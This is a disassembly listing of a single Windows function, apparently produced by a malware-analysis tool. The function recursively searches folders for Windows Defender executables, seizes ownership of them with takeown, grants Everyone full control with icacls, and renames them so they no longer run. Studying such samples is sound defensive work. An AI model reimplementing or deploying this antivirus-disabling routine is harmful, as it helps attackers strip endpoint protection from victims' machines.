Function at 0x140003710
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rbp + 0x70]
mov r8d, 0x104
call fcn.140006520
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140003760
mov rdx, rdi
lea rcx, [rbp + 0x70]
call fcn.1400073f0
nop word [rax + rax]
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140003780
mov eax, 0x2a5c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x70]
mov word [rbp + rbx + 0x70], ax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400037d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x1400039bd
mov r8d, eax
lea rdx, [rbp + 0x70]
lea rcx, str.Cant_open_folder:__s__d_n
call fcn.140001010
jmp 0x1400039bd
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1400039b4
nop word [rax + rax]
test byte [rsp + 0x30], 0x10
je 0x140003857
movzx ecx, byte [rsp + 0x5c]
movzx eax, byte [rsp + 0x5d]
cmp cl, 0x2e
jne 0x140003821
test al, al
je 0x14000399e
cmp cl, cl
jne 0x140003821
cmp al, cl
jne 0x140003821
cmp byte [rsp + 0x5e], 0
je 0x14000399e
lea rax, [rsp + 0x5c]
mov r9, rdi
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.140002c80
lea rcx, [rbp + 0x290]
call fcn.140003710
jmp 0x14000399e
lea rdx, str.msmpeng.exe
lea rcx, [rsp + 0x5c]
call fcn.14000c950
test eax, eax
je 0x14000389a
lea rdx, str.nissrv.exe
lea rcx, [rsp + 0x5c]
call fcn.14000c950
test eax, eax
je 0x14000389a
lea rdx, str.mpcmdrun.exe
lea rcx, [rsp + 0x5c]
call fcn.14000c950
test eax, eax
jne 0x14000399e
lea rax, [rsp + 0x5c]
mov r9, rdi
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x180]
call fcn.140002c80
lea rax, [rsp + 0x5c]
mov r9, rdi
lea r8, str._s_s_RBE
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x4b0]
call fcn.140002c80
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x104
call fcn.140006520
lea r9, [rbp + 0x180]
mov edx, 0x104
lea r8, str.takeown__F___s_
lea rcx, [rbp + 0x3a0]
call fcn.140002c80
lea rcx, [rbp + 0x3a0]
call fcn.1400039f0
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x104
call fcn.140006520
lea r9, [rbp + 0x180]
mov edx, 0x104
lea r8, str.icacls___s___grant_Everyone:_F_
lea rcx, [rbp + 0x290]
call fcn.140002c80
lea rcx, [rbp + 0x290]
call fcn.1400039f0
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x140003982
inc dword [0x14002bc7c]
jmp 0x14000399e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x180]
lea rcx, str.Failed_to_rename_file
call fcn.140001010
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400037f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140005430
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret